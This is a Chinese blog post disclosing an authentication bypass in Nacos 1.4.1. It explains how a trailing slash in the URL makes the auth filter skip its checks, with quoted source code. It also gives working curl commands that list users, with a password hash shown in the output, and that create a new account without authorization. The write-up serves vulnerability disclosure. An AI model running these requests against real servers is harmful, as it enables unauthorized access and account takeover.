Nacos惊现安全漏洞修复后问题仍旧存在

最新推荐文章于 2024-08-26 15:13:27 发布

天秤座的架构师

最新推荐文章于 2024-08-26 15:13:27 发布

阅读量2.8w

点赞数

分类专栏：微服务技术栈文章标签： nacos 安全漏洞

本文为博主原创文章，未经博主允许不得转载。

本文链接：https://blog.csdn.net/u012921921/article/details/112769864

版权

微服务技术栈专栏收录该内容

34 篇文章 2 订阅

订阅专栏

你好，我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制，依然存在绕过问题，在nacos开启了serverIdentity的自定义key-value鉴权后，通过特殊的url构造，依然能绕过限制访问任何http接口。

通过查看该功能，需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false，才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后，我从代码中发现，任然可以在某种情况下绕过，使之失效，调用任何接口，通过该漏洞，我可以绕过鉴权，做到：

调用添加用户接口，添加新用户（POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test）,然后使用新添加的用户登录console，访问、修改、添加数据。

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...鉴权代码
            
        }
        ...
    }
    ...
}

可以看到，上面三个if else分支：

第一个是authConfigs.isEnableUserAgentAuthWhite()，它默认值为true，当值为true时，会判断请求头User-Agent是否匹配User-Agent: Nacos-Server，若匹配，则跳过后续所有逻辑，执行chain.doFilter(request, response);
第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())，也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复
第三个是，当前面两个条件都不符合时，对请求直接作出拒绝访问的响应

问题出现在第二个分支，可以看到，当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false，开启该key-value简单鉴权机制后，会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value，去跟开发者配置的nacos.core.auth.server.identity.value进行匹配，若不匹配，则不进入分支执行：

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

但问题恰恰就出在这里，这里的逻辑理应是在不匹配时，直接返回拒绝访问，而实际上并没有这样做，这就让我们后续去绕过提供了条件。

再往下看，代码来到：

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鉴权代码

可以看到，这里有一个判断method == null，只要满足这个条件，就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现，我发现了一个方法，可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}

private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

这个代码里面，可以很明确的看到，method值的返回，取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key，是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中，存在着path这一部分，而这一部分的生成，恰恰存在着问题，它是通过如下方式获得的：

new URI(request.getRequestURI()).getPath()

一个正常的访问，比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'，得到的path将会是/nacos/v1/auth/users，而通过特殊构造的url，比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is，得到的path将会是/nacos/v1/auth/users/

通过该方式，将能控制该path多一个末尾的斜杆'/'，导致从urlLookup这个ConcurrentHashMap中获取不到method，为什么呢，因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾，只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap，那么，最外层的method == null条件将能满足，从而，绕过该鉴权机制。

二、漏洞影响范围

影响范围：
1.4.1

三、漏洞复现

1.访问用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到，绕过了鉴权，返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

2.添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到，绕过了鉴权，添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

3.再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到，返回的用户列表数据中，多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

4. 访问首页http://127.0.0.1:8848/nacos/，登录新账号，可以做任何事情